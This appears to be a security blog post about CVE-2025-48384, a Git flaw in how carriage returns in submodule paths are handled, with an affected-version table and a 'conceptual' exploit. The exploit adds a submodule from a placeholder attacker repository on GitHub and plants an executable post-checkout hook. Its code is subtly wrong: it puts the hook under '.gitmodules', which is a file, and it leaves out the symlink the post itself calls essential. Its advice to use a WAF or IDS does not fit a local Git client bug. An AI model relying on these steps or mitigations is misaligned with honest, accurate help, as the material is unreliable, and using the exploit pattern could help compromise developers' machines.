Overview
This blog post delves into a crucial vulnerability, identified as CVE-2025-48384, that affects Git – a highly scalable, and distributed revision control system. This vulnerability pertains to the handling of submodule paths by Git, and if exploited, could lead to potential system compromise or even data leakage. With a CVSS severity score of 8.0, this vulnerability matter is significant due to its potential impact on countless developers and organizations worldwide who use Git as their version control system.
Vulnerability Summary
CVE ID: CVE-2025-48384
Severity: High (CVSS: 8.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Product | Affected Versions
Git | v2.43.6 and below
Git | v2.44.3 and below
Git | v2.45.3 and below
Git | v2.46.3 and below
Git | v2.47.2 and below
Git | v2.48.1 and below
Git | v2.49.0 and below
Git | v2.50.0 and below
How the Exploit Works
The vulnerability arises from Git’s improper handling of submodule paths. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). For values with a trailing CR, this is not quoted during writing, resulting in the loss of CR when the config is later read. If a submodule path contains a trailing CR, the altered path is read, leading to the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory and contains an executable post-checkout hook, the script may be unintentionally executed. This could allow an attacker to execute arbitrary commands in the system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This pseudocode represents the malicious submodule configuration:
# Attacker creates a submodule with a trailing CR
git submodule add https://github.com/attacker/repo.git submodule\r
# The submodule contains a post-checkout hook
echo "#!/bin/sh\necho 'Compromised!'" > .gitmodules/hooks/post-checkout
chmod +x .gitmodules/hooks/post-checkout
# Attacker commits the malicious configuration
git add .gitmodules
git commit -m "Add malicious submodule"When an unsuspecting user clones the repository and initializes the submodule, the post-checkout hook is executed:
git clone https://github.com/attacker/repo.git
cd repo
git submodule update --init
# Output: Compromised!Mitigation
Users are urged to apply the vendor patch immediately. Git has released patches for this vulnerability in versions v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1. As a temporary mitigation, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block any suspicious activities associated with this exploit.
